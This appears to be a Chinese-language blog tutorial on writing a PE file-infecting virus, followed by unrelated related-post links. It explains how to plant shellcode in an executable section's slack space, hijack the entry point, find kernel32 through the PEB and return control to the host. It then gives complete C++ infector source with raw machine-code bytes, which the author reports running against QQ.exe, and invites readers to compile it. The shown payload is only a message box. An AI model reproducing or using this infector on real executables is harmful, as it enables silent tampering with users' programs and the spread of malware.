PE病毒初探——向exe注入代码
PE文件其实就是Windows可执行文件,关于它的一些简要介绍摘自百度:
PE文件被称为可移植的执行体是Portable Execute的全称,常见的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微软Windows操作系统上的程序文件(可能是间接被执行,如DLL)。
http://baike.baidu.com/view/1087038.htm
有一种病毒是针对PE文件进行的操作,他们会感染一些exe,将自己的代码添加到exe中并在某处悄悄地窃取执行权限执行自己的代码进行破坏或者是其他不为人知的勾当。
才写了个头就跑去跟个程旭媛讨论技术问题去了,不禁让我想起之前的一张图片。。程序员苦逼不解释。
下面就进入正题。
1、PE文件格式
PE文件格式游如下图给出
2、代码注入
由PE格式可以知道,PE文件的数据和代码都存储在PE头之后的一些session中,其中有些session的属性是可执行的,里面的数据就能被当成计算机指令在cpu中执行。
注入代码的目标就是这些可执行的session(其实还有一种注入方法是增加额外的session,但是这样做会增加exe文件的大小,不过这样可以放更多的代码,由于这次要插入的代码数量较小所以选择已经存在的session下手)。
由于文件在磁盘中存储是按块存储的,每块的大小是固定的,因此这样会在某些数据中存在额外多余的部分,这个部分就是代码需要插入的区域。
if((int)p->SizeOfRawData-(int)p->Misc.VirtualSize>codeslength+datalength&&\
(p->Characteristics&IMAGE_SCN_MEM_EXECUTE))//判断剩余片段大小是否和需要插入的代码和数据的
{
/*。。。。。。。。。。。。。。。
处理一些地址相关的信息,再将代码写入该区域
。。。。。。。。。。。。。。。*/
}
下面上一张图解释下插入的情形。
由以上的分段信息可以看出第二个区段有较大的碎片区域,那么所插入的数据和需要插入的代码就可以插入到碎片二的地方(令第二个区段必须有可执行的权限,否则即使将数据插入进该断,也无法得到执行)
插入后的情况见下图:
剩余部分就是碎片区域,由于插入的代码都是汇编代码对应的机器码,所以可以用以下方法获得一段汇编代码的机器码:
void CodeInfo(int *start,int *CodeSize)
{
DWORD s,e;
_asm
{
push eax
mov eax,begin1
mov s,eax
mov eax,end1
mov e,eax
jmp end1
begin1:
这里放你需要的汇编代码
end1:
pop eax
}
*start=s;
*CodeSize=e-s;
}
然后在主程序里面调用该函数,通过start和size两个参数利用memcpy函数即可得到需要的汇编代码
3、如何让程序执行你插入的代码
对于每个exe而言其在被操作系统装入内存后所执行的第一句代码所在地址在PE头中已经被指定好了
只需将这个地址修改成为你插入的代码的起始位置就行了
4、如何确定数据的位置
虽然我们已经能知道插入的数据所在的物理位置,但这个位置不是真正程序在内存中的位置,而为什么之前指定程序入口地址会有用呢?是因为这些定位操作系统会自动帮你改变,而要访问这些数据是你自己的事情,操作系统不会帮你做你自己的事情。
因此有必要自己定位数据,不过令人高兴的是这些数据在内存中与代码的相对偏移是不变的,因此只要知道当前代码所在的位置就能很好的定位数据的位置。利用以下汇编代码就能轻松定位当前代码执行地址:
call A
A:
pop edi //获取当前地址给edi
至于原理请大家自行去查看汇编call调用的基本原理
利用获得的EDI做些加减法就能很快定位你要的数据了。
5、如何动态获取API函数
获取API函数是个令人头疼的问题,因为不同的exe在装载之后有些模块的地址会不一样,需要动态定位这些模块,在在这些模块中找到你需要的API地址。
本例中需要插入的代码主要实现的执行一个messagebox函数显示一个对话框。
回想在C++中调用Messagebox函数是只需使用MessageBoxA(0,“context”,“title”,0)就行了,但是在汇编状态下需要确定messageboxA的地址再push一些参数最后调用call就可以了。
MessageBoxA是存在于user32.dll中,所以理所当然利用GetProcAddress()函数就能获得,而GetProcAddress需要知道user32.dll模块的地址,那么显然只要用LoadLibrary()函数就能确定user32.dll模块的地址,那么现在已经比较明朗了需要知道GetProcAddress(),LoadLibrary()两个函数就可以了,其他需要的API都可以通过这两个函数来确定。
幸运的是GetProcAddress(),LoadLibrary()两个函数都存在于kernel32.dll当中,而kernel32.dll这个模块基本上每一个exe都需要调用到,所以最终只要确定kernel32.dll的地址就行了
下面给出利用汇编动态定位kernel32.dll地址的方法
mov edx,fs:[30h] //获得PEB
mov edx,[edx+0ch]//get peb_ldr_data
mov edx,[edx+1ch]//get InInitializationOrderModuleList
mov edx,[edx]
mov eax,[edx+50h]//此时eax中存放的就是kernel32.dll的地址
利用eax加一下GetProcAddress(),LoadLibrary()两个函数在于kernel32.dll中的相对偏移就能正确定位这两个函数的地址了(GetProcAddress(),LoadLibrary()两个函数在kernel32.dll中的相对偏移是固定不变的不过随着系统的版本不同会有不一样,在同一个系统中是一样的)
6、如何回归原程序
在执行完认为插入的代码之后还需要做一件事——将控制权交还给原程序,当然对于那些具有破坏性的病毒而言这一步做不做无所谓,甚至在之前的插入过程中选择直接覆盖就行了。
不过这里还是要考虑回归正途,在之前修改程序入口地址的时候知道了原程序的入口地址这里要回去只要进行简单的jmp就行了,不过要注意这个jmp后面跟的是偏移地址,所以得做一次减法才行,而且还需考虑jmp代码本身的字节长度。
到这里就基本完成了一个简单的感染PE文件的病毒的编写,由于某些原因上面的内容写的比较粗糙
下面就来看一下程序的执行结果:
首先感染一个自己编写的helloworld 的exe文件
下图是感染后的结果,程序一开始执行时先跳出了MessageBox对话框
再看看感染QQ的情况
直接将QQ.exe从QQ的安装目录里面拷贝出来放在桌面双击会发现毫无反应,没出现系统报错的对话框,也没出现什么提示信息,在进程管理器里面也找不到刚才执行的QQ.exe的身影,我猜这是因为QQ用于本文中提到的相似的方法做过一些特殊处理,遇到运行时异常之后直接退出了,以后可以跟踪调试下看。。。
不过这并不影响我们的病毒对它的感染,用本文中德方法感染桌面的QQ.exe之后再双击执行只出现了一个对话框
请无视后面那个菊花=。=
在任务管理器中查看相关进程可以找大QQ.EXE的身影:
到此基本结束了,不过最后还是要放一下大招,直接上原代码,有兴趣的可以自行编译不过其中还是设置了一些小Bug,可能会导致最终感染失败,嘿嘿
- #include<Windows.h>
- #include<iostream>
- #include<fstream>
- using namespace std;
- BOOL IsPeFile(LPVOID ImageBase) //判断是否是PE文件结构
- {
- PIMAGE_DOS_HEADER pDosHeader = NULL;
- PIMAGE_NT_HEADERS pNtHeader = NULL;
- if(!ImageBase)
- return FALSE;
- pDosHeader = (PIMAGE_DOS_HEADER) ImageBase;
- if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
- return FALSE;
- pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader+pDosHeader->e_lfanew);
- if(pNtHeader->Signature != IMAGE_NT_SIGNATURE )
- return FALSE;
- return TRUE;
- }
- PIMAGE_NT_HEADERS GetNtHeader(LPVOID ImageBase) //获取NT结构指针
- {
- PIMAGE_DOS_HEADER pDosHeader = NULL;
- PIMAGE_NT_HEADERS pNtHeader = NULL;
- if(!IsPeFile(ImageBase))
- return NULL;
- pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
- pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader+pDosHeader->e_lfanew);
- return pNtHeader;
- }
- PIMAGE_FILE_HEADER WINAPI GetFileHeader(LPVOID Imagebase)
- {
- PIMAGE_FILE_HEADER pFileHeader;
- PIMAGE_NT_HEADERS pNtHeader = NULL;
- pNtHeader = GetNtHeader(Imagebase);
- if(!pNtHeader)
- return NULL;
- pFileHeader = & pNtHeader->FileHeader;
- return pFileHeader;
- }
- PIMAGE_OPTIONAL_HEADER GetOptionalHeader(LPVOID ImageBase)
- {
- PIMAGE_OPTIONAL_HEADER pOptionHeader = NULL;
- PIMAGE_NT_HEADERS pNtHeader = NULL;
- pNtHeader = GetNtHeader(ImageBase);
- if(!pNtHeader)
- return NULL;
- pOptionHeader = & pNtHeader->OptionalHeader;
- return pOptionHeader;
- }
- BOOL RvaToOffset(LPVOID lpMoudle,DWORD Rva)
- {
- //定义变量存储转换后的偏移值和节表数
- DWORD FileOffset;
- WORD nSectionNum;
- //取NT结构头
- IMAGE_NT_HEADERS *pNTHead;
- pNTHead=GetNtHeader(lpMoudle);
- nSectionNum=pNTHead->FileHeader.NumberOfSections;
- //取节表结构头
- IMAGE_SECTION_HEADER *pSectionHead;
- pSectionHead=(IMAGE_SECTION_HEADER *)((DWORD)pNTHead+sizeof(IMAGE_NT_HEADERS));
- //循环比较Rva值所对应节表的偏移
- for(int i=; i<nSectionNum; i++)
- {
- if((pSectionHead->VirtualAddress<=Rva) && (Rva<(pSectionHead->SizeOfRawData+pSectionHead->VirtualAddress)))
- {
- FileOffset=Rva-pSectionHead->VirtualAddress+pSectionHead->PointerToRawData;
- return FileOffset;
- }
- pSectionHead++;
- }
- return FALSE;
- }
- BOOL RvaToVirtualAddress(LPVOID lpMoudle,DWORD Rva)
- {
- DWORD offect=RvaToOffset(lpMoudle,Rva);
- /*if(offect==NULL||offect==FALSE)
- return FALSE;*/
- return (DWORD)lpMoudle+offect;
- }
- VOID HandleSessionTable(LPVOID file,LPVOID base)
- {
- char funcname[]="MessageBoxA";
- char DLLname[]="user32.dll";
- char Caption[]="Warning";
- char Content[]="This is test";
- DWORD LoadLibraryAAddr=0x1f864;
- DWORD GetProcAddress=0x24c46;
- char codes[]="\x60\xe8\x0\x0\x0\x0\x5f\x83\xef\x6\x8b\x4f\xf8\x8b" //////这里的数据就只插入代码
- "\x5f\xfc\x64\x8b\x15\x30\x0\x0\x0\x8b\x52\xc\x8b\x52\x1c\x8b" //////的二进制机器码
- "\x12\x8b\x42\x8\x8b\x42\x50\x3\xc8\x50\x8b\xd7\x83\xea\x38\x52"
- "\xff\xd1\x8b\xc8\x58\x3\xd8\x8b\xd7\x83\xea\x48\x52\x51\xff\xd3"
- "\x8b\xcf\x83\xe9\x18\x6a\x0\x51\x83\xe9\x10\x51\x6a\x0\xff\xd0\x61"
- "\xe9\x00\x00\x00\x00";
- int datalength=*+;
- int codeslength=sizeof(codes)-;
- IMAGE_NT_HEADERS *nthead=GetNtHeader(base);
- IMAGE_SECTION_HEADER *sessionhead=(IMAGE_SECTION_HEADER*)((DWORD)nthead+sizeof(IMAGE_NT_HEADERS));
- if(sessionhead->VirtualAddress==NULL)
- return;
- DWORD sessionnum=nthead->FileHeader.NumberOfSections;
- IMAGE_SECTION_HEADER *p=sessionhead;
- DWORD sFileSize=GetFileSize(base,NULL);
- for(int i=;i<sessionnum;i++)
- {
- cout<<(char*)p->Name<<" " <<(int)p->SizeOfRawData-(int)p->Misc.VirtualSize<<endl;
- IMAGE_SECTION_HEADER tmp;//=sessionhead;
- memcpy(&tmp,p,sizeof(IMAGE_SECTION_HEADER));
- if((int)p->SizeOfRawData-(int)p->Misc.VirtualSize>codeslength+datalength&&\
- (p->Characteristics&IMAGE_SCN_MEM_EXECUTE))
- {
- DWORD datavirtualbase=p->VirtualAddress+p->Misc.VirtualSize;
- DWORD datafileoffect=p->PointerToRawData+p->Misc.VirtualSize;
- SetFilePointer(file,datafileoffect,NULL,FILE_BEGIN);
- WriteFile(file,funcname,,,);
- WriteFile(file,DLLname,,,);
- WriteFile(file,Caption,,,);
- WriteFile(file,Content,,,);
- WriteFile(file,&LoadLibraryAAddr,,,);
- WriteFile(file,&GetProcAddress,,,);
- DWORD codevirtualbase=p->VirtualAddress+p->Misc.VirtualSize+datalength;
- DWORD cedefileoffset=p->PointerToRawData+p->Misc.VirtualSize+datalength;
- p->Misc.VirtualSize+=(codeslength+datalength);
- SetFilePointer(file,cedefileoffset,NULL,FILE_BEGIN);
- DWORD oldentry=nthead->OptionalHeader.AddressOfEntryPoint;
- DWORD JMPOffset=oldentry-(codevirtualbase+codeslength-)-;
- memcpy(codes+codeslength-,&JMPOffset,sizeof(DWORD));
- nthead->OptionalHeader.AddressOfEntryPoint=codevirtualbase;
- DWORD writesize=;
- SetFilePointer(file,cedefileoffset,NULL,FILE_BEGIN);
- if(!WriteFile(file,codes,codeslength,&writesize,) )
- {
- TCHAR *buffer;
- ::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,GetLastError(),,( LPTSTR )&buffer,,NULL );
- MessageBox(,buffer,L"ok",);
- }
- cout<<"success"<<endl;
- break;
- }
- p++;
- }
- }
- void main()
- {
- HANDLE hFile = CreateFile(L"qq.exe", // open pe file
- GENERIC_READ|GENERIC_WRITE, // open for reading
- NULL, // share for reading
- NULL, // no security
- OPEN_EXISTING, // existing file only
- FILE_ATTRIBUTE_NORMAL, // normal file
- NULL); // no attr. template
- HANDLE hFileMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,,,NULL);
- if(!hFileMap )
- {
- TCHAR *buffer ;
- ::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,GetLastError(),,( LPTSTR )&buffer,,NULL );
- MessageBox(,buffer,L"ok",);
- }
- LPVOID lpMemory = MapViewOfFile(hFileMap,FILE_MAP_READ|FILE_MAP_WRITE ,NULL,NULL,NULL);
- if(IsPeFile(lpMemory))
- {
- //AnalyzeNTHEADER(lpMemory);
- cout<<"yes"<<endl;
- IMAGE_NT_HEADERS *nthead=GetNtHeader(lpMemory);
- IMAGE_OPTIONAL_HEADER32 *image=GetOptionalHeader(lpMemory);
- cout<<"DataDirectory num:"<<image->NumberOfRvaAndSizes<<endl;
- HandleSessionTable(hFile,lpMemory);
- }
- else
- cout<<"no"<<endl;
- UnmapViewOfFile(lpMemory);
- CloseHandle(hFileMap);
- CloseHandle(hFile);
- system("pause");
- }
PE病毒初探——向exe注入代码的更多相关文章
- WINDOWS黑客基础(3):注入代码
有使用过外挂的朋友应该知道,我们在玩游戏的时候,有很多辅助功能给你使用,比如吃药,使用物品等功能,这个时候我们就是使用注入代码的技术,简单的来将就是我们让另外一个进程去执行我们想让它执行的代码,这中间 ...
- 非PE病毒介绍
1.宏病毒 1.1 介绍 本文中的宏特制office系列办公软件中的宏,Microsoft Office中对宏的定义为"宏就是能够组织在一起的,可以作为一个独立命令来执行的一系列Word 命 ...
- 脚本病毒分析扫描专题2-Powershell代码阅读扫盲
4.2.PowerShell 为了保障木马样本的体积很小利于传播.攻击者会借助宏->WMI->Powershell的方式下载可执行文件恶意代码.最近也经常会遇见利用Powershell通过 ...
- Emit 自动生成IL代码,注入代码
Spring 框架中的注入代码,以及自动生成对接口的实现,则根据il代码注入 Emit学习(1)-Emit概览 一.Emit概述 Emit,可以称为发出或者产生.在Framework中,与Emit相关 ...
- android黑科技系列——自动注入代码工具icodetools
一.前言 在前面已经介绍完了 自动给apk中注入日志代码工具icodetools原理了,在那里我们曾经说过其实离真正的可使用价值有点距离,本篇就对这个工具进行一些优化,让其真正意义上开始能工作量产.当 ...
- PHP之SQL防注入代码集合(建站常用)
SQL防注入代码一 <?php if (!function_exists (quote)) { function quote($var) { if (strlen($var)) { $var=! ...
- 带你开发一款给Apk中自动注入代码工具icodetools(完善篇)【申明:来源于网络】
带你开发一款给Apk中自动注入代码工具icodetools(完善篇)[申明:来源于网络] 带你开发一款给Apk中自动注入代码工具icodetools(完善篇):http://blog.csdn.net ...
- 带你开发一款给Apk中自己主动注入代码工具icodetools(开凿篇)
一.前言 从这篇開始咋们開始一个全新的静态方式逆向工具icodetools的实现过程.这个也是我自己第一次写的个人认为比較实用的小工具,特别是在静态方式逆向apk找关键点的时候.兴许会分为三篇来具体介 ...
- Unity构造函数注入代码示例
Unity构造函数注入代码示例 如果使用 Unity 实例化一个类,该类的构造函数依赖一个或多个其他类,则 Unity 会为构造函数自动创建参数中指定的被依赖的类的实例.例如,下面的代码展示了一个名为 ...
随机推荐
- SQL try
BEGIN TRY -- Generate a constraint violation error. DELETE FROM Production.Product ; END TRY BEGIN C ...
- 创建PCB原理图的模板
Q:创建PCB原理图的模板,主要就是设置模板的大小,右下角的信息框, 效果图如下: 创建PCB工程 创建原理图 设置模板,方便以后画原理图 打开模板的方式有:1按DO 2双击边框 标题块是附带有的,取 ...
- [BZOJ4987]Tree
题目大意: 给定一棵\(n(n\le3000)\)个点的带边权的树,找出\(k\)个点\(A_{1\sim k}\)使得\(\sum_{1\le i<k} dis(A_i,A_i+1)\)最小. ...
- 创建django出现的问题
1.创建表报错 2.静态文件和模板配置 3.在表格插入数据库信息 4.继承模板 5.找不到post请求数据
- iOS CrashLog Analysis
链接: iOS友盟崩溃日志定位代码 [友盟统计报表解读]之错误分析iOS版 DYSMTool Download Address 利用友盟和dsym分析发布app用户错误 iOS -- 友盟工具进行Cr ...
- jdk 10.0.2 bug修复
之前记录过jdk9+版本的1个bug,某些情况下会导致方法执行二遍,今天早上打开笔记本(mac),弹出一个框提示jdk升级10.0.2,顺手点了一下,然后验证了下该bug,发现居然fix掉了,推荐大家 ...
- ZJUT 地下迷宫 (高斯求期望)
ShowID=1423">http://cpp.zjut.edu.cn/ShowProblem.aspx?ShowID=1423 设dp[i]表示在i点时到达终点要走的期望步数,那么d ...
- 使用OClint进行iOS项目的静态代码扫描
使用OClint进行iOS项目的静态代码扫描 原文链接:http://blog.yourtion.com/static-code-analysis-ios-using-oclint.html 最近需要 ...
- jquery预加载的几种方式
实际编写前端页面时,有时候希望一打开某个页面就加载一些方法.下面是4种预加载方法. ①页面加载完之前执行,与嵌入的js加载方式一样(写jquery插件的时候使用) (function ($) { al ...
- maven学习二(dependencies)
在前面一篇文章maven学习一(HelloWorld工程)已经对maven有了基本介绍,本文开始介绍maven依赖,通过如何如何增加log4j来学习maven的dependencies no-depe ...